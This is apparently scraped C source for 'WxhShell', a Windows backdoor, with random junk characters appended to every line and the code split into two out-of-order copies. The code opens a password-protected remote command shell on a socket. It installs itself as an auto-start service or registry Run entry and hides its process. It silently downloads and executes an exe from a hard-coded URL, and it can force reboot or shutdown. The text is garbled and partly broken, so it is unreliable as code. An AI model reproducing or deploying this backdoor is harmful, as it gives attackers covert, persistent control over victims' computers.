    if(Boot(SHUTDOWN)) (;;%B=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5fMVjd  
    else { <spVUp  
    closesocket(wsh); qR/~a  
    ExitThread(0); [QEV6 S]  
    } 'p_|Rw>  
    break; #~}4< 18  
    } O0l1AX"  
  // 获取shell @`mr|-Rp@  
  case 's': { 953GmNZ7  
    CmdShell(wsh); h\T}$jgfWm  
    closesocket(wsh); B_DyH C\<  
    ExitThread(0); t $m:  
    break; `y3*\l  
  } G^ShN45   
  // 退出 4Sz2 9\X  
  case 'x': { U| T}0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n\GN}?4  
    CloseIt(wsh); ECsb?n7e  
    break; B/Js>R  
    } <=~*`eWV  
  // 离开 @Os0A  
  case 'q': { (}RTHpD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i);BTwW)#]  
    closesocket(wsh); T O&^%d  
    WSACleanup(); -G[TlH06  
    exit(1); :FUxe kz  
    break; Ts\PZQ!q  
        } `*o ko[\3  
  } XL/V>`E@  
  } w1EB>!<;tj  
i"0*)$ h W  
  // 提示信息 Bx/)Sl@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }S"qU]>8a  
} naiQ$uq0  
  } +TW,!.NBG  
^V~^[Yp  
  return; xyP 0haE  
} ~\*wt(o  
J8B0H1  
// shell模块句柄 ! o?E.  
int CmdShell(SOCKET sock) QYj*|p^x  
{ R2==<"gq  
STARTUPINFO si; &lo<sbd.  
ZeroMemory(&si,sizeof(si)); 3, 3n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1@N4Y9o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?e%u[Q0  
PROCESS_INFORMATION ProcessInfo; \=[38?QOY  
char cmdline[]="cmd"; de9e7.(2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); peew <SX  
  return 0; HqI[]T@  
} fo=@ X>S  
B~E>=85z  
// 自身启动模式 g* -}9~  
int StartFromService(void) T2A74>Nw  
{ tiy#b8  
typedef struct pJ x H  
{ sZwa#CQKq  
  DWORD ExitStatus; cR&d=+R&  
  DWORD PebBaseAddress; ?y@;=x!'  
  DWORD AffinityMask; R2qz>kyyB  
  DWORD BasePriority; Pz|}[Cx-  
  ULONG UniqueProcessId; 3*F|`js"  
  ULONG InheritedFromUniqueProcessId; /GO((v+J  
}   PROCESS_BASIC_INFORMATION; =y^ g*9}_  
x&N@R?AG1  
PROCNTQSIP NtQueryInformationProcess; 1lsg|iVz  
Oiw!d6"Ovq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; % C)|fDwN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bWZ oGFT  
w[uw hd  
  HANDLE             hProcess; lrgvY>E0  
  PROCESS_BASIC_INFORMATION pbi; <^+&A7 Q-_  
M2A3]wd2a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z-|d/#h  
  if(NULL == hInst ) return 0; i7?OZh*f  
pW&8 =Ew  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "VeNc,-nfQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G[ q<P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (OG>=h8?  
Zf?jnDA  
  if (!NtQueryInformationProcess) return 0; cMfnc.P\K  
`)H| &!wT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c- [IgX e  
  if(!hProcess) return 0; I^QB`%v5  
QjsN7h&%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ks8xxY  
6w0r)  
  CloseHandle(hProcess); O.?q8T)n82  
mW."lzIl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7v(<<>  
if(hProcess==NULL) return 0; Z.0mX#  
rzKn5Z  
HMODULE hMod; =1j`VJU9  
char procName[255]; -vS7%Fbr  
unsigned long cbNeeded; Lw{'mtm  
5{#ya 2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lJ<( mVt  
3]/Y= A  
  CloseHandle(hProcess); ld'Aaxl&  
^^(4xHN  
if(strstr(procName,"services")) return 1; // 以服务启动 v?4MndR  
-KCQ!0\F  
  return 0; // 注册表启动 x;/%`gKn8  
} zj'uKBDl  
NZ~"2~Hh  
// 主模块 7A>glZ/x  
int StartWxhshell(LPSTR lpCmdLine) V, e  
{ y &%2  
  SOCKET wsl;  TGozoPV  
BOOL val=TRUE; Z65]|  
  int port=0; nL* SNQ_  
  struct sockaddr_in door; %-[U;pJe;  
rKWkT"  
  if(wscfg.ws_autoins) Install(); Y&`nB,'  
\YsYOFc|  
port=atoi(lpCmdLine); t>%J3S>'ZV  
3+r8yiY  
if(port<=0) port=wscfg.ws_port; TfqQh!Y  
( cqVCys  
  WSADATA data; j*N:Kdzvl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b$'}IWNV  
:w 4Sba3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "# BI"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XqTDLM&  
  door.sin_family = AF_INET; DU-&bm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~uz4  
  door.sin_port = htons(port); /0qLMlL$  
 uvf}7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )F) (Hg  
closesocket(wsl); ln6Hr^@5  
return 1; }Qm: g  
} k\a&4v  
 ,L}  
  if(listen(wsl,2) == INVALID_SOCKET) { V}kQXz"9  
closesocket(wsl); P>3 ;M'KsO  
return 1; 2bk~6Osp  
} ix]t>2r  
  Wxhshell(wsl); Cl5l+I\1  
  WSACleanup(); mxJ& IV  
h|j $Jy  
return 0; h+7THMI  
<wZ2S3RNA  
} B#T4m]E/  
]hL `HP  
// 以NT服务方式启动 k*3F7']8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6eh\-+=  
{ D-tm'APq  
DWORD   status = 0; j!:^+F/  
  DWORD   specificError = 0xfffffff; O+^l>+ZGj?  
-6OgM}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sV)) Z2sq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :"9P {xe^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rv\m0*\<  
  serviceStatus.dwWin32ExitCode     = 0; V6C*d:  
  serviceStatus.dwServiceSpecificExitCode = 0; eiV[y^?  
  serviceStatus.dwCheckPoint       = 0; pp#xN/V#a  
  serviceStatus.dwWaitHint       = 0; *+ql{\am4N  
8AK=FX&@&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $-}a<UFE;  
  if (hServiceStatusHandle==0) return; 1sqBBd"=PY  
O#g'4 S  
status = GetLastError(); mu[:b  
  if (status!=NO_ERROR) ]c.1&OB7o  
{ x9s 7:F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G' 5p/:  
    serviceStatus.dwCheckPoint       = 0; ")t ^!x(v  
    serviceStatus.dwWaitHint       = 0; 1gwnG&  
    serviceStatus.dwWin32ExitCode     = status; aeQvIob@  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3$u 3ssOL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z-fQ{&a{  
    return; avmuI^LLs  
  } D+Ke)-/  
%MQU&H9[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *f[nge&.  
  serviceStatus.dwCheckPoint       = 0; ZH:-.2*cj  
  serviceStatus.dwWaitHint       = 0; i: 6`Rmz1.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R aVOZ=^-  
} Ua>lf8w<  
7hs1S|  
// 处理NT服务事件,比如:启动、停止 g ni=S~u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5/vfmDt3'G  
{ ^usZ&9"@P  
switch(fdwControl) x}Y  
{ `OL@@`'^{S  
case SERVICE_CONTROL_STOP: |\?mX=a.y  
  serviceStatus.dwWin32ExitCode = 0; >tUi ;!cQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tl 0_Sd  
  serviceStatus.dwCheckPoint   = 0; *&f^R}O  
  serviceStatus.dwWaitHint     = 0; n9 LTrhLqp  
  { 77FI&*q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F;4*,Ap  
  } gRnn}LL^  
  return; P=.yXirm?  
case SERVICE_CONTROL_PAUSE: 64)Fz}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2 L>;M  
  break; qXOWCYqs  
case SERVICE_CONTROL_CONTINUE: =cwQG&as  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )\ `AD#  
  break; $pKlF0 .  
case SERVICE_CONTROL_INTERROGATE: m* Zq3j  
  break; hA6   
}; r8.`W\SKX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -6Y@_N  
} TY."?` [FK  
5r&bk`  
// 标准应用程序主函数 ?Uq;>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #?OJ9pyG'  
{ ;PS V3Zh  
s+tPHftp  
// 获取操作系统版本 ,Wv@D"4?  
OsIsNt=GetOsVer(); jR1o<]?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #x?Ku\ts  
oZD+AF$R  
  // 从命令行安装 * ~D|M  
  if(strpbrk(lpCmdLine,"iI")) Install(); \;!}z3Ww  
i\zVP.c])*  
  // 下载执行文件 8a,uM :  
if(wscfg.ws_downexe) { @ 0'j;")XV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3X;k c>  
  WinExec(wscfg.ws_filenam,SW_HIDE); &RJ*DAmL  
} x%v[(*F#y  
%O69A$Q[m  
if(!OsIsNt) { R)@2={fd}  
// 如果时win9x,隐藏进程并且设置为注册表启动  uc<JF=  
HideProc(); Silh[8  
StartWxhshell(lpCmdLine); =bBV A0y  
} [!~= m  
else  )>=!</@  
  if(StartFromService()) yTxrbE  
  // 以服务方式启动 o7r7HmA@  
  StartServiceCtrlDispatcher(DispatchTable); O .ESI  
else 5K:'VX  
  // 普通方式启动 V&h{a8xa$  
  StartWxhshell(lpCmdLine); RoFOjCc>D.  
EED0U?  
return 0; |JL?"cc  
} UkTq0-N;2  
6MD9DqD  
e7Sp?>-d  
EKD?j  
=========================================== /szwVA  
YMU2^,3  
;/h&40&  
*)(S}D\94  
k-N}tk/5  
bess b>=  
" : 5X^t  
Nz77" kC  
#include <stdio.h> *N |ak =  
#include <string.h>  :I{9k~  
#include <windows.h> j"A<qI  
#include <winsock2.h> A>ve|us$  
#include <winsvc.h> UQg_y3 #V  
#include <urlmon.h>  Zsn@O2  
<t&Qa~mA  
#pragma comment (lib, "Ws2_32.lib") 8og8;#mnyr  
#pragma comment (lib, "urlmon.lib") kz/"5gX:  
&qzy?/i8  
#define MAX_USER   100 // 最大客户端连接数 ? Rk[P cX<  
#define BUF_SOCK   200 // sock buffer _o T+x%i  
#define KEY_BUFF   255 // 输入 buffer #P1U] @  
+MqJJuWB  
#define REBOOT     0   // 重启 1=h5Z3/fj  
#define SHUTDOWN   1   // 关机 ;X N Ahg7  
y`i?Qo3  
#define DEF_PORT   5000 // 监听端口 ' <?=!&\D  
6M ;lD5(>  
#define REG_LEN     16   // 注册表键长度 bzr QQQ  
#define SVC_LEN     80   // NT服务名长度 Om*(dK]zHQ  
+c8t~2tuN  
// 从dll定义API I)kc[/^j$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sPMICIv|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lq62  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :-WNw n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BCuoFw)  
8`wKq6  
// wxhshell配置信息 =CW> ;h]  
struct WSCFG { ZWni5uF-c  
  int ws_port;         // 监听端口 |2=@8_am  
  char ws_passstr[REG_LEN]; // 口令 ;.Ld6JRunw  
  int ws_autoins;       // 安装标记, 1=yes 0=no >& 4):  
  char ws_regname[REG_LEN]; // 注册表键名 '"+Gn52#  
  char ws_svcname[REG_LEN]; // 服务名 TNckyP75u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kl[(!"p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~;z] _`_Va  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2$MoKO x8$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C>'G?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q{_f"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Nh zEl1  
k& uh  
}; MkHkM  
;5.<M<PH  
// default Wxhshell configuration cIQbu#[@  
struct WSCFG wscfg={DEF_PORT, Uf|uFGb  
    "xuhuanlingzhe", i=*H|)  
    1,  4Y}Nu  
    "Wxhshell", xAl8e  
    "Wxhshell", mr/?w0(C  
            "WxhShell Service", $)$ r  
    "Wrsky Windows CmdShell Service", '&hd^9]Lo  
    "Please Input Your Password: ", )HC/J-  
  1, H3*] }=   
  "http://www.wrsky.com/wxhshell.exe", !*L)v  
  "Wxhshell.exe" 0%< hj  
    }; _3D9>8tzE7  
?hGE[.(eh]  
// 消息定义模块 `)5WA{z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =.CiKV$E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; maDWV&Db  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :aBxyS*}G  
char *msg_ws_ext="\n\rExit."; SD:D8"8  
char *msg_ws_end="\n\rQuit."; i-w$-2w  
char *msg_ws_boot="\n\rReboot..."; vb?.`B_>&  
char *msg_ws_poff="\n\rShutdown..."; Tg"? TZO~  
char *msg_ws_down="\n\rSave to "; NA/`LaJ  
XVqkw@Ia4!  
char *msg_ws_err="\n\rErr!"; j5Da53c#^  
char *msg_ws_ok="\n\rOK!"; UimofFmI%  
r180vbN$  
char ExeFile[MAX_PATH]; fz`)CWo:  
int nUser = 0; h@NC#Iod  
HANDLE handles[MAX_USER]; qPD(D{,f$  
int OsIsNt; PuREqa\_[  
,b&h Lht  
SERVICE_STATUS       serviceStatus; jd-ccnR l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W>i%sHH6  
>V?0#f45@  
// 函数声明 =k.%#h{  
int Install(void); $l"%o9ICG  
int Uninstall(void); I=#`8deH(  
int DownloadFile(char *sURL, SOCKET wsh); ^Z#G_%\Y:  
int Boot(int flag); c QuL9Xo  
void HideProc(void); fn,hP_  
int GetOsVer(void); bY.VNA  
int Wxhshell(SOCKET wsl); ("t'XKP&N  
void TalkWithClient(void *cs); 5N $XY@  
int CmdShell(SOCKET sock); QEf@wv;T  
int StartFromService(void); Pb>/b\&JS  
int StartWxhshell(LPSTR lpCmdLine); &l7E|.JE  
Z3hZy&_I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qE[YZ(/f0&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rkR5>S( 2M  
)Ln".Bu,  
// 数据结构和表定义 hBpa"0F  
SERVICE_TABLE_ENTRY DispatchTable[] = jw=PeT|  
{ K2yNI q_  
{wscfg.ws_svcname, NTServiceMain}, Y2QX<  
{NULL, NULL} J??AU0 vh  
}; [,Go*r  
|mQ Fi\  
// 自我安装 =?.oH|&\h  
int Install(void) iBAP,cR?`  
{ Kus=.(  
  char svExeFile[MAX_PATH]; T9Q3I  
  HKEY key; 3r kcIVO  
  strcpy(svExeFile,ExeFile); y0mNDze  
`e =IXkt  
// 如果是win9x系统,修改注册表设为自启动 9%T"W  
if(!OsIsNt) { vHpw?(]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;C$+8%P4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d6QrB"J`  
  RegCloseKey(key); \6SjJ]o>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (8h4\utA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :L NE ?@  
  RegCloseKey(key); %|(c?`2|  
  return 0; +,>%Yb =EA  
    } dn- [Gnde  
  } P{n#^4  
} i)z|= |?  
else { 0wv#AT  
vNGE]+QX  
// 如果是NT以上系统,安装为系统服务 ~#*C,4m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =9a2+v0  
if (schSCManager!=0) b/z-W`gw  
{ ( *+'k1Ea  
  SC_HANDLE schService = CreateService RtMI[  
  ( w_56y8Pd4  
  schSCManager, +;q\7*  
  wscfg.ws_svcname, `sYFQ+D#O  
  wscfg.ws_svcdisp, F$?Ab\#B  
  SERVICE_ALL_ACCESS, .Az36wD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }UW7py!TN  
  SERVICE_AUTO_START, Sf,z  
  SERVICE_ERROR_NORMAL, h4pS~/  
  svExeFile,  s5VK  
  NULL, c+:ZmrP/  
  NULL, V"/.An|  
  NULL, 0j$\k|xFXZ  
  NULL, %F*9D3^h  
  NULL 6V;Dcfvi  
  ); .p#kW:zspA  
  if (schService!=0) VE |:k:};  
  { 4 2Z:J 0  
  CloseServiceHandle(schService); 8em'7hR9  
  CloseServiceHandle(schSCManager); 'n &p5%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F}Zg3 #  
  strcat(svExeFile,wscfg.ws_svcname); h7]+#U]mi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uQdeKp4(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -^NW:L$|  
  RegCloseKey(key); N XB8u6  
  return 0; dv. 77q  
    } ".jO2GO^  
  } [n9l[dN  
  CloseServiceHandle(schSCManager); A!Tl  
} imOIO[<;  
} ;adZ*'6u  
*)[fGxz \  
return 1; U&"L9o`2  
} C6ql,hR^h`  
<MEm+8e/s6  
// 自我卸载 u^Cl s!C  
int Uninstall(void) cc${[yj)  
{ }P.s  
  HKEY key; w/NT 5  
WrP+n  
if(!OsIsNt) { zFOtOz`9H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :h,}yBJ1L  
  RegDeleteValue(key,wscfg.ws_regname); gLMb,buqC  
  RegCloseKey(key); **P P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o?]Q&,tO  
  RegDeleteValue(key,wscfg.ws_regname); |X{j^JP 5  
  RegCloseKey(key); +1#;s!e  
  return 0; Kmx4bp4  
  } d8Vqmrc~  
} dpz@T>MS=  
} QXj#Brp  
else { 4+8)0;<H  
tnpEfi-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T6y~iNd<  
if (schSCManager!=0) f)vnm*&-  
{ sssw(F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <=CABWO.  
  if (schService!=0) U/FysN_N!  
  { b!t[PShw^  
  if(DeleteService(schService)!=0) { koB'Zp/FaY  
  CloseServiceHandle(schService); uznqq}  
  CloseServiceHandle(schSCManager); t=lDN'\P  
  return 0; `C_qqf  
  } lOA EM  
  CloseServiceHandle(schService); CeU=A9  
  } 0x*1I1(c  
  CloseServiceHandle(schSCManager); lDBAei3iB  
} yIiVhI?X  
} o5/BE`VD5c  
]@y%j'e  
return 1; UNSXr`9  
} @|h9jx|  
bOU"s>?  
// 从指定url下载文件 IqlCl>_j  
int DownloadFile(char *sURL, SOCKET wsh) %1 RWF6  
{ ~(*tcs]hY  
  HRESULT hr; lpPPI+|4N  
char seps[]= "/"; 7"Nda3  
char *token; &g}P)x r  
char *file; oFp1QrI3k8  
char myURL[MAX_PATH]; v`L]dY4,  
char myFILE[MAX_PATH]; D,*|:i  
>r X$E<B\  
strcpy(myURL,sURL); ,ye[TQ\,M  
  token=strtok(myURL,seps); Yt=)=n  
  while(token!=NULL) J e|   
  { K%`]HW@I{  
    file=token; *Dq ++  
  token=strtok(NULL,seps); Px-VRANZt  
  } ,_$J-F?  
Y(aUB$"  
GetCurrentDirectory(MAX_PATH,myFILE); Uufig)6  
strcat(myFILE, "\\"); I lO,Ql  
strcat(myFILE, file); 22ySMtxn  
  send(wsh,myFILE,strlen(myFILE),0); Fnk@)1  
send(wsh,"...",3,0); #c' B2Jn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [QMN0#(h  
  if(hr==S_OK) 5"G-r._  
return 0; C(h<s e?  
else "{+2Q  
return 1; hl0X, G+@  
o=!_.lDF:  
} A[@koLCL  
5|jY  
// 系统电源模块 +qpG$#J0  
int Boot(int flag) QoUdTIIL  
{ ' A+L #  
  HANDLE hToken; 'Qg!ww7O  
  TOKEN_PRIVILEGES tkp; H}_R`S  
w*~s&7c2B  
  if(OsIsNt) { nVoWER:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bbjEQby  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WZHw(BN{+  
    tkp.PrivilegeCount = 1; B R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fUCjC*#1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~s-gnp  
if(flag==REBOOT) { 0=U|7%dOL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ckV\f({  
  return 0; WB_BEh[>j  
} G 0Z5h  
else { 7@g0>1Fz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZDL1H3;R  
  return 0; iF +@aA  
} 31 <0Nw;l  
  } f|_\GVW  
  else { F_-xp1|  
if(flag==REBOOT) { xR kw+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w oIZFus  
  return 0; F7j/Zuj  
} N.q*jY= X|  
else { :JX2GRL4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sx J0Y8#z  
  return 0; N2HD=[*cr  
} ,W[J@4.  
} xk/-TXB 0  
jDQ?b\^  
return 1; EAXl.Y. $  
} %x{kd8>u!  
KiI+ V;o  
// win9x进程隐藏模块 _#r00Ze  
void HideProc(void) z k}AGw  
{ -c0ypz  
{LF4_9 =  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]"{8"+x  
  if ( hKernel != NULL ) 8vR_WHsL  
  { "t.` /4R2w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _,T 4DS6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~o%igJ }.C  
    FreeLibrary(hKernel); If,p!L  
  } ;50&s .gZ  
`2@.%s1o=  
return; I6f/+;E  
} 9/(jY$Ar  
aU_Hl+;  
// 获取操作系统版本 bqAW  
int GetOsVer(void) w(6n  
{ {JP q. A  
  OSVERSIONINFO winfo; `nl n@ ;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,?|$DY+=  
  GetVersionEx(&winfo); -<6?ISF2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BtC*]WB"_'  
  return 1; bu]"?bc  
  else [ncK+rGAc  
  return 0; , [|aWT%9  
} \]u;NbC]  
O[C4xq  
// 客户端句柄模块 %A$&9c%  
int Wxhshell(SOCKET wsl) h0rPMd(K  
{ c[,h|~K/_?  
  SOCKET wsh; VX$WL"A  
  struct sockaddr_in client; "ntP928  
  DWORD myID; l&qnqmW<  
3OZPy|".ax  
  while(nUser<MAX_USER) :D)(3U5  
{  ;v:(  
  int nSize=sizeof(client);  m[B#k$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hWT jN  
  if(wsh==INVALID_SOCKET) return 1; DpT9"?g7  
Cf2WBX$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (.ir"\k1(  
if(handles[nUser]==0) Cd}^&z  
  closesocket(wsh); QJVbt  
else yWi-ic [n  
  nUser++; /kbU<  
  } "o&8\KSs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7 $e6H|j@  
Tnp P'  
  return 0; lvO6&sF1  
} G#n 4g :K  
I,{YxY[$7  
// 关闭 socket $a M5jH<  
void CloseIt(SOCKET wsh) <.6rl  
{ ^m|@pp  
closesocket(wsh); }5;4'l8  
nUser--; l6/VJ~(}'  
ExitThread(0); $4nAb^/  
} ><<>4(eF p  
<\^0!v  
// 客户端请求句柄 vYed_'_  
void TalkWithClient(void *cs) IfK~~XYG  
{ 1RRE{]2v#  
vd%g'fTy9  
  SOCKET wsh=(SOCKET)cs; ^65I,Z"  
  char pwd[SVC_LEN]; J}#gTG( '  
  char cmd[KEY_BUFF]; .kT]^rv ;  
char chr[1]; b@Ej$t&  
int i,j; qoO`)<  
VdlT+'HF  
  while (nUser < MAX_USER) { !g@K y$  
*N">93:  
if(wscfg.ws_passstr) { ,;$OaJFT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uJw?5kEbv<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S,m(  
  //ZeroMemory(pwd,KEY_BUFF); o(*\MT t?  
      i=0; mUBy*.  
  while(i<SVC_LEN) { }[AaI #  
^A$=6=CX  
  // 设置超时 , >LJpv  
  fd_set FdRead; fN&,.UB^p  
  struct timeval TimeOut; G:AA>t  
  FD_ZERO(&FdRead); #Rw!a#CX.  
  FD_SET(wsh,&FdRead); jI ol`WX  
  TimeOut.tv_sec=8; fAs b:P  
  TimeOut.tv_usec=0; 3s6obw$ki  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7he73  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]o6 ZZK  
Tagf7tw4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /ZvP.VW&  
  pwd=chr[0]; w*F[[*j@.  
  if(chr[0]==0xd || chr[0]==0xa) { O$*lPA[  
  pwd=0; d GUP|O  
  break; [:8\F#KW  
  }  Rb6BY-/J  
  i++; r,6~%T0  
    } )w7vE\n3  
U=Ps#  
  // 如果是非法用户,关闭 socket =:H-9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4MgN  
} fap`;AuwK  
6,>$Jzs)5E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IZZAR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oD2:19M@p  
-SsgW  
while(1) { z|#*c5Y9w  
] K$YtM^  
  ZeroMemory(cmd,KEY_BUFF); k2}DBVu1  
hb`9Vn\-E  
      // 自动支持客户端 telnet标准   DbMVbgz<e  
  j=0; V(';2[)  
  while(j<KEY_BUFF) { ynI e4b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \c_g9Iqa  
  cmd[j]=chr[0]; cY?|RXNmZ  
  if(chr[0]==0xa || chr[0]==0xd) { wHLQfrl0  
  cmd[j]=0; csP4Oq\g[  
  break; 7:4c\C0  
  } WVP?Ie8  
  j++; >Pw5! i\  
    } Zbczbnj  
+( LH!\{^  
  // 下载文件 'uu*DgEr  
  if(strstr(cmd,"http://")) { %' DO FiU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0#V"   
  if(DownloadFile(cmd,wsh)) &[G)Y D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H:.~! r  
  else L=lSW7R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6z\!lOVjb  
  } 7KgaXi3r  
  else { Cy-p1s  
KI9Pw]]{-  
    switch(cmd[0]) { bxE~tsM"@Y  
  *7AB0y0k  
  // 帮助 ka_m Q<{9  
  case '?': { 5{=+S]  
